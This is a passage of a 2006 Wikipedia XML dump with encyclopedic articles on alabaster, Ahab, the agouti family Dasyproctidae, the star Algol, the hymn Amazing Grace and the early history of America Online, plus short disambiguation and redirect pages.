On the continent of [[Europe]], the centre of the alabaster trade is [[Florence, Italy]]. [[Tuscany|Tuscan]] alabaster occurs in nodular masses embedded in limestone, interstratified with [[marl]]s of [[Miocene]] and [[Pliocene]] age. The mineral is largely worked by means of underground galleries,in the district of [[Volterra]]. Several varieties are recognized &amp;ndash; veined, spotted, clouded, agatiform, and others. The finest kind, obtained principally from [[Castellina]], is sent to Florence for figure-sculpture, while the common kinds are carved at a very cheap rate locally into vases, clock-cases and various ornamental objects, in which a large trade is carried on, especially in Florence, [[Pisa]] and [[Livorno|Leghorn]].  

In order to diminish the [[Translucent|translucenc]]y of the alabaster and to produce an opacity suggestive of true marble, the statues are immersed in a bath of water and gradually heated nearly to the boiling-point &amp;ndash; an operation requiring great care, for if the temperature is not carefully regulated, the stone acquires a dead-white, chalky appearance. The effect of heating appears to be a partial dehydration of the gypsum. If properly treated, it very closely resembles true marble and is known as [[marmo di Castellina]]. It should be noted that sulphate of lime (gypsum) was used also by the ancients, and was employed, for instance, in Assyrian sculpture, so that some of the ancient alabaster is identical with the modern stone. 

Alabaster may be stained by digesting it, after being heated in various pigmentary solutions. In this way a good imitation of [[coral]] has been produced (alabaster coral).

''Black Alabaster'' is a rare form of the gypsum-based mineral found in only three veins in the world, one each in [[Oklahoma]] (USA), Italy and [[China]].

[[Alabaster Caverns State Park]], near [[Freedom, Oklahoma]] is home to a natural [[gypsum cave]] in which much of the gypsum is in the form of alabaster. There are several types of alabaster found at the site, including pink, white, and the rare black alabaster.

== See also ==
* [[list of minerals]]

*'''''Alabaster''' is also a city in [[Alabama]], [[United States|USA]]. See: [[Alabaster, Alabama]]'' 
*'''''Alabaster''' is also a township in [[Michigan]], [[United States|USA]]. See: [[Alabaster Township, Michigan]]''

{{1911}}
[[Category:Minerals]]
[[Category:Stone]]

[[ca:Alabastre (mineral)]]
[[de:Alabaster]]
[[es:Alabastro]]
[[fr:Albâtre]]
[[it:Alabastro]]
[[nl:Albast]]
[[pl:Alabaster]]
[[pt:Alabastro]]
[[ru:Алебастр]]
[[sl:Alabaster]]
[[sv:Alabaster]]
[[uk:Алебастр]]</text>
    </revision>
  </page>
  <page>
    <title>Apostle (disambiguation)</title>
    <id>1388</id>
    <revision>
      <id>41556308</id>
      <timestamp>2006-02-28T03:14:51Z</timestamp>
      <contributor>
        <username>Elmer Clark</username>
        <id>241098</id>
      </contributor>
      <minor />
      <comment>fixed link</comment>
      <text xml:space="preserve">'''Apostle''', or '''The Apostles''' can refer to:
{{Wiktionarypar|apostle}}
* The [[Twelve Apostles]], followers of [[Jesus]]
* [[Apostle (Mormonism)]], a position within the [[Mormon church]]
* ''[[The Apostle]]'', a 1997 film directed by and starring [[Robert Duvall]]
* [[Cambridge Apostles]], a secret society at [[University of Cambridge|Cambridge University]]
* [[The Apostles (band)|The Apostles]], a [[punk rock]] group from the 1980s
* ''[[The Apostles (Elgar) | The Apostles]]'', a 1903 choral work by [[Edward Elgar]]
* [[Apostle (production company) | Apostle]], a production company founded in 1994 by Jim Serpico and Denis Leary

{{dab}}</text>
    </revision>
  </page>
  <page>
    <title>Ahab</title>
    <id>1389</id>
    <revision>
      <id>38565954</id>
      <timestamp>2006-02-07T03:45:06Z</timestamp>
      <contributor>
        <username>PiCo</username>
        <id>437761</id>
      </contributor>
      <comment>see discussion</comment>
      <text xml:space="preserve">'''Ahab''' or '''Ach'av''' ('''&amp;#1488;&amp;#1463;&amp;#1495;&amp;#1456;&amp;#1488;&amp;#1464;&amp;#1489;''' &quot;Brother of the father&quot;, [[Standard Hebrew]] '''A&amp;#7717;&amp;#700;av''', [[Tiberian Hebrew]] '''&amp;#700;A&amp;#7717;&amp;#259;&amp;#700;&amp;#257;&amp;#7687;''', '''&amp;#700;A&amp;#7723;&amp;#700;&amp;#257;&amp;#7687;''') was King of the [[Kingdom of Israel]] and the province of [[Samaria]], and the son and successor of [[Omri]] (''[[Books of Kings|1 Kings]]'' 16:29-34). [[William F. Albright]] has dated his reign to [[869 BC]]-[[850 BC]], while [[E. R. Thiele]] offers the dates [[874 BC]]-[[853 BC]].

He married [[Jezebel (biblical)|Jezebel]], the daughter of king [[Ithobaal I]] of [[Tyre]], and the alliance was doubtless the means of procuring him great riches, which brought pomp and luxury in their train. We read of his building an ivory palace (''1 Kings'' 22:39; ''[[Book of Amos|Amos]]'' 3:15), and founding new cities, the effect perhaps of a share in the flourishing commerce of [[Phoenicia]], who supplied the ivory for his palace.

The material prosperity of his reign, which is comparable with that of [[Solomon]] a century before, was overshadowed by the religious changes which his marriage involved. Although he worshipped YHWH, as the names of his children prove (''1 Kings'' 22:5ff), his wife was firmly attached to the worship of the [[Melkart]] (the Tyrian [[Ba'al]]), and led by her he gave a great impulse to this cult by building a temple in honour of Baal in [[Samaria]]. This roused the indignation of the Jewish prophets and Priests whose aim it was to purify the worship of [[God]]. (See [[Elijah (prophet)|Elijah]]) 

During Ahab's reign [[Moab]], which had been conquered by his father, remained tributary; [[kingdom of Judah|Judah]], with whose king, [[Jehoshaphat]], he was allied by marriage, was probably his vassal; only with [[Damascus]] is he said to have had strained relations.  

The one event mentioned by external sources is the [[Battle of Karkar]] (perhaps at [[Apamea]]), where [[Shalmaneser III]] of [[Assyria]] fought a great confederation of princes from [[Cilicia]], Northern [[Syria]], Israel, [[Ammon]] and the tribes of the Syrian desert ([[853 BC]]).  Here Ahab (''A-ha-ab-bu &lt;sup&gt;mat&lt;/sup&gt;Sir-'i-la-a-a'' or &quot;Ahab the Israelite&quot;) joined [[Baasha]], son of [[Ruhub]] (Rehob) of Ammon and nine others are allied with [[Hadadezer]] (''Bir-'idri''), Ahab's contribution being reckoned at 2,000 chariots and 10,000 men. The numbers are comparatively large and possibly include forces from [[Tyre]], Judah, [[Edom]] and [[Moab]]. The Assyrian king claimed a victory, but his immediate return and subsequent expeditions in [[849 BC]] and [[846 BC]] against a similar but unspecified coalition seem to show that he met with no lasting success. According to the [[Old Testament]], however, Ahab with 7,000 troops had previously overthrown [[Ben-hadad]] and his thirty-two kings, who had come to lay siege to Samaria, and in the following year obtained a remarkable victory over him at [[Aphek]], probably in the [[plain of Sharon]] (''1 Kings'' 20). A treaty was made whereby Ben-hadad restored the cities which his father had taken from Ahab's father (that is, Omri, but see 15:20, ''[[Books of Kings|2 Kings]]'' 13:25), and trading facilities between Damascus and Samaria were granted.  

A late popular story (20:35-42, akin in tone to 12:33-13:34) condemned Ahab for his leniency and foretold the destruction of the king and his land. Three years later, war broke out on the east of the [[Jordan River]], and Ahab with Jehoshaphat of Judah went to recover [[Battle of Ramoth-Gilead|Ramoth-Gilead]] and was mortally wounded (ch. 22). He was succeeded by his sons ([[Ahaziah]] and [[Jehoram]]). 

It is very difficult to obtain any clear idea of the order of these events (the [[Septuagint]] places ''1 Kings'' 21 immediately after 19). How the hostile kings of Israel and Syria came to fight a common enemy, and how to correlate the Assyrian and Biblical records, are questions which have perplexed all recent writers.  The reality of the difficulties will be apparent from the fact that it has been suggested that the Assyrian scribe wrote &quot;Ahab&quot; for his son &quot;Jehoram&quot;, and that the very identification of the name with Ahab of Israel has been questioned.
 
Whilst the above passages from ''1 Kings'' view Ahab not unfavourably, there are others which are less friendly. The murder of [[Naboth]] (see [[Jezebel (biblical)|Jezebel]]), an act of royal encroachment, stirred up popular resentment just as the new cult aroused the opposition of certain of the prophets. The latter found their champion in Elijah, whose history reflects the prophetic teaching of more than one age. His denunciation of the royal dynasty, and his emphatic insistence on the worship of Yahweh and Him alone, form the keynote to a period which culminated in the accession of [[Jehu]], an event in which Elijah's chosen disciple [[Elisha]] was the leading figure. 

The allusions to the statutes and works of Omri and Ahab in ''[[Book of Micah|Micah]]'' 6:16 may point to legislative measures of these kings, and the reference to the incidents at the building of [[Jericho]] (''1 Kings'' 16:34) may be taken to show that foundation sacrifices, familiar in nearly all parts of the world, were not unknown in Israel at this period, which have in fact been confirmed by excavation in [[Palestine (region)|Palestine]]. 

{| align=&quot;center&quot; cellpadding=&quot;2&quot; border=&quot;2&quot;
|-
| width=&quot;30%&quot; align=&quot;center&quot; | Preceded by:&lt;br /&gt;'''[[Omri]]'''
| width=&quot;40%&quot; align=&quot;center&quot; | '''[[Kingdom of Israel|King of Israel]]'''
| width=&quot;30%&quot; align=&quot;center&quot; | Succeeded by:&lt;br /&gt;'''[[Ahaziah of Israel|Ahaziah]]'''
|}

Another '''Ahab''' is known only as an impious [[prophet]] in the time of the [[Babylonian captivity of Judah|Babylonian exile]] (''[[Book of Jeremiah|Jeremiah]]'' 29:21).

Another '''[[Captain Ahab|Ahab]]''' is the monomanical captain of the [[whaling]] [[ship]] ''[[Pequod (Moby-Dick)|Pequod]]'' in the novel [[Moby-Dick]]. 

==References==
*{{1911}}

[[Category:853 BC deaths]]
[[Category:850 BC deaths]]
[[Category:Kings of ancient Israel]]


[[ca:Acab]]
[[de:Ahab (König)]]
[[eo:Ahabo]]
[[he:אחאב]]
[[no:Akab]]
[[sv:Ahab]]</text>
    </revision>
  </page>
  <page>
    <title>ASIC</title>
    <id>1391</id>
    <revision>
      <id>35924252</id>
      <timestamp>2006-01-20T06:55:52Z</timestamp>
      <contributor>
        <username>Botryoidal</username>
        <id>814230</id>
      </contributor>
      <minor />
      <comment>Robot: Automated text replacement  (-{{4LA}} +{{4LC}})</comment>
      <text xml:space="preserve">The acronym '''ASIC''', depending on context, may stand for:
* [[Application-specific integrated circuit]]
* [[ASIC programming language]]
* [[Australian Securities and Investments Commission]]

{{4LC}}
[[de:ASIC]]
[[pt:ASIC (desambiguação)]]</text>
    </revision>
  </page>
  <page>
    <title>Dasyproctidae</title>
    <id>1392</id>
    <revision>
      <id>37289371</id>
      <timestamp>2006-01-30T01:09:14Z</timestamp>
      <contributor>
        <username>Gdrbot</username>
        <id>263608</id>
      </contributor>
      <minor />
      <comment>nomialbot — converted multi-template taxobox to {{Taxobox}}</comment>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = Dasyproctidae
| fossil_range = Late [[Oligocene]] - Recent
| image = Paka (Coelogenys Paca).png
| image_width = 200px
| image_caption = ''[[Agouti paca]]''
| regnum = [[Animal|Animalia]]
| phylum = [[Chordate|Chordata]]
| classis = [[Mammal]]ia
| ordo = [[Rodent]]ia
| familia = '''Dasyproctidae'''
| familia_authority = [[John Edward Gray|Gray]], 1825
| subdivision_ranks = Genera
| subdivision = 
''[[Dasyprocta]]&lt;br /&gt;[[Myoprocta]]&lt;br /&gt;[[Agouti]]''
}}
The '''Dasyproctidae''' are a family of [[South America]]n [[rodent]]s, comprising three [[genus|genera]].

==Classification==
*'''Family Dasyproctidae'''
**Genus ''[[Dasyprocta]]''
***[[Azara's Agouti]], ''[[Dasyprocta azarae]]''
***[[Coiban Agouti]], ''[[Dasyprocta coibae]]''
***[[Crested Agouti]], ''[[Dasyprocta cristata]]''
***[[Black Agouti]], ''[[Dasyprocta fuliginosa]]''
***[[Orinoco Agouti]], ''[[Dasyprocta guamara]]''
***[[Kalinowski Agouti]], ''[[Dasyprocta kalinowskii]]''
***[[Brazilian Agouti]], ''[[Dasyprocta leporina]]''
***[[Mexican Agouti]], ''[[Dasyprocta mexicana]]''
***[[Black-rumped Agouti]], ''[[Dasyprocta prymnolopha]]''
***[[Central American Agouti]], ''[[Dasyprocta punctata]]''
***[[Ruatan Island Agouti]], ''[[Dasyprocta ruatanica]]''
**Genus ''[[Myoprocta]]''
***[[Green Acouchi]], ''[[Myoprocta pratti]]''
***[[Red Acouchi]], ''[[Myoprocta acouchy]]''
**Genus ''[[Agouti (genus)|Agouti]]''
***[[Paca]], ''[[Agouti paca]]''
***[[Mountain Paca]], ''[[Agouti taczanowskii]]''

The [[Pacas]] (''Agouti'' genus) are sometimes placed in a separate family ''Agoutidae'' or as the subfamily ''Agoutinae''. 

Note that the animals commonly known as Agoutis are not the same as those with the scientific name ''Agouti''. Adding to the confusion, the name Agoutis is sometimes used to refer to the whole family Dasyproctidae, including or excluding the ''Agouti'' genus.  To avoid misunderstandings, some authors refer to the Pacas as the genus ''Cuniculus''.

==External links==
*[http://www.press.jhu.edu/books/walkers_mammals_of_the_world/rodentia/rodentia.dasyproctidae.html Dasyproctidae at Johns Hopkins Univ.]
*[http://www.junglephotos.com/amazon/amanimals/ammammals/agouti.shtml Black agouti photo and natural history]

{{Rodents}}

[[Category:Rodents]]
[[Category:Hystricognath rodents]]

[[de:Pakas und Agutis]]
[[fr:Dasyproctidae]]
[[lt:Agutiniai]]
[[nl:Agoeti's en acouchi's]]
[[pl:Aguti]]</text>
    </revision>
  </page>
  <page>
    <title>Æesop</title>
    <id>1393</id>
    <revision>
      <id>15899881</id>
      <timestamp>2005-04-27T21:22:46Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#redirect [[Aesop]]</text>
    </revision>
  </page>
  <page>
    <title>Algol</title>
    <id>1394</id>
    <revision>
      <id>38653070</id>
      <timestamp>2006-02-07T19:40:45Z</timestamp>
      <contributor>
        <username>RJHall</username>
        <id>91076</id>
      </contributor>
      <minor />
      <comment>link</comment>
      <text xml:space="preserve">{{Otheruses}}
{{Starbox begin |
   name=Beta Persei A/B/C }}
{{Starbox image |
  image=[[Image:Position Beta Per.png|250px]] |
  caption=The position of Algol. }}
{{Starbox observe |
  epoch=J2000 |
  ra=03&lt;sup&gt;h&lt;/sup&gt; 08&lt;sup&gt;m&lt;/sup&gt; 10.1&lt;sup&gt;s&lt;/sup&gt; |
  dec=+40&amp;deg; 57&amp;prime; 20.3&amp;Prime; |
  appmag_v=1.58 |
  constell=[[Perseus]] }}
{{Starbox character |
  class=B5-8 V/K02 IV/A5 V |
  b-v=-0.05 |
  u-b=-0.37 |
  variable=[[Eclipsing binary]] }}
{{Starbox astrometry |
  radial_v=3.7 |
  prop_mo_ra=2.39 |
  prop_mo_dec=-1.44 |
  parallax=35.14 |
  p_error=0.90 |
  dist_ly=92.8 |
  dist_pc=28.5 |
  absmag_v=-0.69 }}
{{Starbox detail|
  mass=3.59/0.79/1.67 |
  radius=2.88/3.54/1.7 |
  luminosity=98/3.4/4.1 | 
  temperature=12,500/4,500 |
  metal=? |
  rotation=65 km/sec. |
  age=? }}
{{Starbox catalog |
  names=Algol, Gorgona, Gorgonea Prima, Demon Star, El Ghoul, 26 Per, [[Gliese-Jahreiss catalogue|GJ]] 9110, [[Harvard Revised catalogue|HR]] 936,  [[Bonner Durchmusterung|BD]] +40&amp;deg;673, [[Henry Draper catalogue|HD]] 19356, [[General Catalogue of Trigonometric Parallaxes|GCTP]] 646.00, [[Smithsonian Astrophysical Observatory|SAO]] 38592, FK5 111, Wo 9110, ADS 2362, WDS 03082+4057A, [[Hipparcos catalogue|HIP]] 14576. }}
{{Starbox end}}
'''Algol''' (&amp;beta; Per / [[beta (letter)|Beta]] Persei) is a bright [[star]] in the [[constellation]] [[Perseus (constellation)|Perseus]].  It is one of the best known [[eclipsing binary|eclipsing binaries]], the first such star to be discovered, and also one of the first [[variable star]]s in general to be discovered. Algol's [[apparent magnitude|magnitude]] changes regularly between 2.3 and 3.5 over a period of 2 days, 20 hours and 49 minutes.

As an eclipsing binary, it is actually two stars in close orbit around one another.  Because the [[Orbital plane (astronomy)|orbital plane]] coincidentally matches the [[Earth]]'s line of sight, the dimmer star (Algol B) passes in front of the brighter star (Algol A) once per orbit, and the amount of light reaching Earth is temporarily decreased. To be more precise, however, Algol happens to be a triple star system: the eclipsing binary pair is separated by only 0.062 [[astronomical unit|AU]], while the third star (Algol C) is at an average distance of 2.69 AU from the pair and the mutual [[orbital period]] is 681 days (1.86 years). The total mass of the system is about 5.8 solar masses, and the mass ratios of A, B and C are about 4.5&amp;nbsp;: 1&amp;nbsp;: 2.

The variability of Algol was first recorded in [[1670]] by [[Geminiano Montanari]], but it is probable that this property was noticed long before this time; the name Algol means &quot;demon star,&quot; (from [[Arabic language|Arabic]] '''&amp;#1575;&amp;#1604;&amp;#1594;&amp;#1608;&amp;#1604;''' ''al-gh&amp;#363;l'', &quot;the [[ghoul]]&quot;) which was probably given due to its peculiar behavior. In the [[constellation]] Perseus, it represents the eye of the [[Gorgon]] [[Medusa (mythology)|Medusa]].

Studies of Algol led to the '''Algol paradox''' in the theory of [[stellar evolution]]: although components of a binary star form at the same time, and massive stars evolve much faster than the less massive ones, it was observed that the more massive component Algol A is still in the [[main sequence]], while the less massive Algol B is a [[subgiant star]] at a later evolutionary stage. The paradox can be solved by [[mass transfer]]: when the more massive star became a subgiant, it filled its [[Roche lobe]], and most of the mass was transferred to the other star, which is still in the main sequence. In some binaries similar to Algol, a gas flow can actually be seen.

Algol is 92.8 [[light year]]s from Earth; however, about 7.3 million years ago it passed within 9.8 light years and its [[apparent magnitude]] was approximately &amp;minus;2.5, considerably brighter than [[Sirius]] is today.  Because the total mass of the system is 5.8 solar masses, and despite the fairly large distance at closest approach, this may have been enough to slightly perturb the [[solar system]]'s [[Oort cloud]] and increase the number of [[comet]]s entering the inner solar system.  However, the actual increase in net cratering rate is believed to have been quite small. [http://www.journals.uchicago.edu/AJ/journal/issues/v117n2/980216/980216.html]

[[Astrology|Astrologically]], Algol is considered the most [[luck|unfortunate]] star in the sky. In the [[Middle Ages]] it was one of the 15 [[Behenian fixed stars|Behenian stars]], associated with the [[diamond]] and [[hellebore]], and marked with the [[kabbalistic]] sign [[Image:Agrippa1531_caputAlgol.png]].

==External links==
* [http://skyscript.co.uk/algol.html Discusses the history of Algol]
* [http://www.solstation.com/stars2/algol3.htm SolStation article]
* [http://www.ari.uni-heidelberg.de/aricns/cnspages/4c02517.htm ARICNS entry]
* [http://www.alcyone.de/SIT/mainstars/SIT000666.htm MainStars data]
* [http://www.astro.uiuc.edu/~kaler/sow/algol.html Algol by Jim Kaler]

[[Category:Bayer objects|Persei, Beta]]
[[Category:Eclipsing binaries]]
[[Category:Blue-white dwarfs]]
[[Category:Orange subgiants]]
[[Category:Perseus constellation]]
[[Category:Variable stars]]
[[Category:Arabic words]]

[[de:Algol (Stern)]]
[[es:Algol]]
[[fr:Algol (étoile)]]
[[gl:Algol, estrela]]
[[ko:알골]]
[[it:Algol (astronomia)]]
[[nl:Algol (ster)]]
[[ja:アルゴル]]
[[pl:Algol (gwiazda w Perseuszu)]]
[[pt:Beta Persei]]
[[ru:Алголь]]
[[sv:Algol (stjärna)]]
[[zh:大陵五]]</text>
    </revision>
  </page>
  <page>
    <title>Amazing Grace</title>
    <id>1395</id>
    <revision>
      <id>41336614</id>
      <timestamp>2006-02-26T18:01:13Z</timestamp>
      <contributor>
        <username>Metahacker</username>
        <id>74726</id>
      </contributor>
      <comment>/* Recordings */ +arlo here too</comment>
      <text xml:space="preserve">{{otheruses}}

'''&quot;Amazing Grace&quot;''' is one of the most well-known [[Christian]] [[hymn]]s.  The words were written by [[John Newton]]; they form a part of the [[Olney Hymns]] that he worked on, with [[William Cowper]] and other hymnodists.

==History==

John Newton ([[1725]]&amp;ndash;[[1807]]) was the captain of a slave ship. On [[10 May]] [[1748]] returning home during a storm he experienced a &quot;great deliverance&quot;. In his journal he wrote that the ship was in grave danger of sinking. He exclaimed &quot;Lord have mercy upon us&quot;. He came to the light gradually and even continued to trade slaves after his conversion.

Newton wrote the song &quot;How Sweet the Name of Jesus Sounds&quot; while waiting in an African harbor for a shipment of slaves. Later he renounced his profession, became a minister, and joined William Wilberforce in the fight against slavery.

Newton may have borrowed an old tune sung by the slaves themselves, redeeming the song, just as he had been redeemed.

The now familiar and traditional melody of the hymn was not composed by Newton, and the words were sung to a number of tunes before the now inseparable melody was chanced upon. 

There are two different tunes to the words. &quot;New Britain&quot; first appears in a [[shape note]] hymnal from [[1831]] called ''Virginia Harmony''. Any original words sung to the tune are now lost. The melody is believed to be [[Scotland|Scottish]] or [[Ireland|Irish]] in origin; it is [[pentatonic]] and suggests a [[bagpipe]] tune; the hymn is frequently performed on bagpipes and has become associated with that instrument. The other tune is the so-called &quot;Old Regular Baptist&quot; tune. It was sung by the Congregation of the Little [[Zion]] Church, Jeff, Kentucky on the album &quot;The [[Jean Ritchie|Ritchie]] Family of Kentucky&quot; on Folkways ([[1958]]). 

Newton's lyrics have become a favourite for [[Christianity|Christians]] of all [[religious denomination|denominations]], largely because the hymn vividly and briefly sums up the Christian doctrine of [[Divine grace]]. The lyrics are loosely based around the text of [[Ephesians]] 2:4-8.

It has also become known as a favorite with supporters of freedom and human rights, both Christian and non-Christian, as it is believed by many to be a song against [[slavery]], as Newton was once a slave trader. He continued to be a slave trader for several years after his experience, but with more compassion. Later he became a clergyman. The song has been sung by many notable musical performers. 

The hymn was quite popular among both sides in the [[American Civil War]]. While on the [[trail of tears]], the [[Cherokee]] were not always able to give their dead a full burial.  Instead, the singing of Amazing Grace had to suffice.  Since then, Amazing Grace is often considered the Cherokee National Anthem.  For this reason, many contemporary [[List of Native American musicians|Native American musicians]] have recorded this song.

The name &quot;Amazing Grace&quot; was used as the title of a musical written by Mal Pope about the 1904 [[Wales|Welsh]] [[Revival]] and the life of [[Evan Roberts (minister)|Evan Roberts]].

==Bagpipes==

The association with bagpipes is a relatively modern phenomenon; for over a century the tune was nearly forgotten in the British Isles until the folk revival of the [[1960s]] began carrying traditional musicians both ways between the British Isles and the United States (where Amazing Grace had remained a very popular hymn). It was little known outside of church congregations or folk festivals until Arthur Penn's film &quot;[[Alice's Restaurant]]&quot; ([[1969]]). Lee Hays of the Weavers leads the worshipers in &quot;Amazing Grace&quot;.

==Lyrics==
:Amazing grace! (how sweet the sound)
:That sav'd a wretch like me!
:I once was lost, but now am found,
:Was blind, but now I see.

:'Twas grace that taught my heart to fear,
:And grace my fears reliev'd;
:How precious did that grace appear,
:The hour I first believ'd!

:Thro' many dangers, toils and snares,
:I have already come;
:'Tis grace has brought me safe thus far,
:And grace will lead me home.

:The Lord has promis'd good to me,
:His word my hope secures;
:He will my shield and portion be,
:As long as life endures.

:Yes, when this flesh and heart shall fail,
:And mortal life shall cease;
:I shall possess, within the veil,
:A life of joy and peace.

:The earth shall soon dissolve like snow,
:The sun forbear to shine;
:But God, who call'd me here below,
:Will be forever mine.

Some versions of the hymn include an additional verse:

:When we've been there ten thousand years,
:Bright shining as the sun,
:We've no less days to sing God's praise
:Than when we'd first begun.

This verse is not by Newton. It was originally from a hymn called ''[[Jerusalem, My Happy Home]]''. It was added to a version of &quot;Amazing Grace&quot; by [[Harriet Beecher Stowe]], as it appears in her [[novel]] ''[[Uncle Tom's Cabin]]''.  Uncle Tom has pieced the lyrics of several hymns together; those who learned the lyrics from the novel have assumed that it belongs.

Some versions include still another verse:

:Shall I be wafted through the skies,
:on flowery beds of ease,
:where others strive to win the prize,
:and sail through bloody seas.

This verse has been recorded by [[Pete Seeger]] and [[Arlo Guthrie]].
The verse really belongs with the hymn, &quot;Am I a Soldier of the Cross?&quot; by [[Isaac Watts]].

==Recordings==

The hymn has been recorded by countless artists over the last century. Two versions have made the [[UK Singles Chart]]; between 1970 and 1972, a version by [[Judy Collins]] spent 67 weeks in the charts, a record for a female artist, and peaked at number 5. In 1972, an instrumental version by the Pipes and Drums and Military Band of the [[Royal Scots Dragoon Guards]] spent five weeks at number one, also reaching the top spot in Australia. Likewise another artist, [[Hayley Westenra]], released this song on her album [[Pure (album)| Pure]] and this album did incredibly well, selling 19,068 copies in its first week of sales alone.

In addition to recording the hymn, [[Joan Baez]] also opened the US portion of [[Live Aid]], the legendary [[1985]] concert for [[African]] famine relief, with a performance of &quot;Amazing Grace&quot;.

Folk singer [[Arlo Guthrie]] closes many of his concerts with a version of &quot;Amazing Grace&quot; that includes a spoken retelling of its origin.

The composer [[Frank Ticheli]] has written a version of Amazing Grace that is frequently performed by various wind ensembles throughout the United States.

Celtic-influenced [[punk rock|punk]] band the [[Dropkick Murphys]] have made several recordings of Amazing Grace, all of which feature the use of bagpipes.

[[Christian metal]] band [[Stryper]] recorded a [[heavy metal music|heavy metal]] version of Amazing Grace, titled ''10,000 years'', which came out in their album 2005 album [[Reborn (album)|Reborn]]

[[Chris Squire]] of [[Yes (band)|Yes]] also has recorded a bass solo version of Amazing Grace on the Rhino's rerelease of '[[Going For The One]]' album.

Another version was used as the ending song for the Japanese drama series Shiroi Kyoto(2003-2004 version).

{{multi-listen start}}
{{multi-listen item|filename=Amazing grace.ogg|title=Amazing grace|description=from the Library of Congress' ''John and Ruby Lomax 1939 Southern States Recording Trip''; performed by Mr. and Mrs. N.V. Braley on [[5 May]] [[1939]] at the home of Beal D. Taylor near [[Medina, Texas]]|format=[[Ogg]]}}
{{multi-listen item|filename=Amazing grace2.ogg|title=Amazing grace|description=|format=[[Ogg]]}}
{{multi-listen item|filename=Amazing Grace-organ.ogg|title=Amazing grace|description=Performed on an Organ|format=[[Ogg]]}}
{{multi-listen end}}

==External links==
*[http://www.texasfasola.org/biographies/johnnewton.html Amazing Grace: The Story of John Newton]
*[http://christianmusic.about.com/od/whosingsthat/qt/qtamazinggrace.htm Who Has Recorded Amazing Grace?]
*[http://www.easybyte.org Easybyte] - free easy piano arrangement of Amazing Grace
*[http://www.snopes.com/religion/amazing.htm Amazing Grace] myths at the [[Urban Legends Reference Pages]]
*[http://artofthestates.org/cgi-bin/piece.pl?pid=288 Art of the States: Amazing Grace] variations on the hymn by composer John Harbison

[[chr:ᎤᏁᎳᏅᎢᎤᏪᏥ]]
[[de:Amazing Grace]]
[[fr:Amazing Grace]]
[[ja:&amp;#12450;&amp;#12513;&amp;#12452;&amp;#12472;&amp;#12531;&amp;#12464;&amp;#12464;&amp;#12524;&amp;#12452;&amp;#12473;]]
[[sv:Amazing Grace]]

[[Category:Christian hymns]]

[[Category:British poems]]</text>
    </revision>
  </page>
  <page>
    <title>America Online</title>
    <id>1397</id>
    <revision>
      <id>42160722</id>
      <timestamp>2006-03-04T05:35:03Z</timestamp>
      <contributor>
        <username>Ww2censor</username>
        <id>631250</id>
      </contributor>
      <comment>/* AOL users' reputation */ Claris Em@iler</comment>
      <text xml:space="preserve">{{Infobox_Company |
  company_name   = America Online |
  company_logo   = [[Image:AOL logo.png]] |
  company_type   = Jointly owned by [[Time Warner]] (95%) and [[Google]] (5%) |
  company_slogan = |
  foundation     = 1985|
  location       = [[Dulles, Virginia]]|
  key_people     = [[Jonathan Miller (America Online)|Jonathan Miller]], [[Ted Leonsis]]|
  num_employees  = about 20,000|
  industry       = [[Internet]] &amp; [[Telecommunication|Communications]]|
  products       = [[Internet service provider|ISP]]|
  revenue        = [[image:green up.png]]$8.7 billion [[United States dollar|USD]] ([[2004]])|
  homepage       = [http://aol.com www.aol.com]
}}
'''America Online''', or '''AOL''' for short, is a U.S.-based [[online service provider]], [[Internet service provider]], and media company operated by [[Time Warner]]. Based in [[Dulles, Virginia|Dulles]], [[Virginia]], a community in [[Loudoun County, Virginia]], with regional branches around the world, it is by far the most successful proprietary online service, with more than 32 million subscribers at one point in the [[United States of America|US]], [[Canada]], [[Germany]], [[France]], the [[United Kingdom of Great Britain and Northern Ireland|United Kingdom]], [[Latin America]] (declared bankrupt in 2004), [[Japan]] and formerly [[Russia]]. In early 2005, AOL [[Hong Kong]] stopped its service.  In the fall of 2004, AOL reported total subscribers had dropped to 24 million, a drop of over a quarter of its subscribers.[http://isp-planet.com/research/rankings/2003/usa_insight_q32003.html] In late 1996, AOL suspended all dialup service within [[Russia]] in the face of massive billing [[fraud]], forcing the company into a rare case of full market retreat.

For many Americans through the mid to late [[1990s]], AOL ''was'' the Internet, but the rise of high-speed Internet access from cable and telephone companies as well as the increasing sophistication of the public in handling browsers and other Internet utilities has cut into its user base.  In 2000 AOL and [[Time Warner]] announced plans to merge, and the deal was approved by the [[Federal Trade Commission]] on [[January 11]] [[2001]]. This merger was primarily a product of the Internet mania of the late 1990's, known as the [[Internet bubble]]. The subsequent massive decline in value of stocks such as AOL resulted in much recrimination over the merger. Also, the merger with AOL allowed for Time Warner to vote off WCW ( World Championship Wrestling ). 

News reports in the fall of 2005 indicated a renewed interest in buying out AOL. Suitors such as [[Microsoft]], [[Google]], [[Yahoo!|Yahoo]] and [[Comcast]] have had discussions with [[Time Warner]] about a possible purchase, and on [[December 16]], [[2005]], Time Warner and Google announced that they were starting exclusive talks for Google to purchase $1 billion in AOL stock, a 5% share.

Although its dialup market is shrinking as more members switch to high-speed services, the success of its AOL for Broadband program has helped it to maintain members that would otherwise totally drop the AOL service.  This combined with its growing advertising revenue through its relationship with Google, AOL collected 8.7 billion US dollars in revenue for 2004.

==History==
[[Image:AOL.gif|thumbnail|The AOL logo used until late 2004|150 px|right]]
AOL began as a short-lived venture called Control Video Corporation (or CVC), founded by [[William von Meister]]. Its sole product was an online service called [[Gameline]] for the [[Atari 2600]] [[video game console]] after von Meister's idea of buying music on demand was rejected by [[Warner Brothers]]. (Klein, 2003) Subscribers bought a [[modem]] from the company for $49.95 and paid a one-time $15 setup fee. Gameline permitted subscribers to temporarily download games and keep track of high scores, at a cost of approximately $1 an hour.

In 1983 the company nearly went [[bankruptcy|bankrupt]], and an investor in Control Video, [[Frank Caufield]], had a friend of his, [[Jim Kimsey]], brought in as a manufacturing consultant.  That same year, [[Steve Case]] was hired as a part-time consultant; later on that year, he joined the company as a full-time marketing employee upon the joint recommendations of von Meister and Kimsey. Kimsey went on to become the [[Chief Executive Officer]] (CEO) of the newly-renamed Quantum Computer Services in 1985 after von Meister was quietly dropped from the company.

Case himself rose quickly through the ranks; Kimsey promoted him to vice-president of marketing not long after becoming CEO, and later promoted him further to executive vice-president in 1987. Kimsey soon began to groom Case to ascend to the rank of CEO when he himself retired, which Case did in 1991.

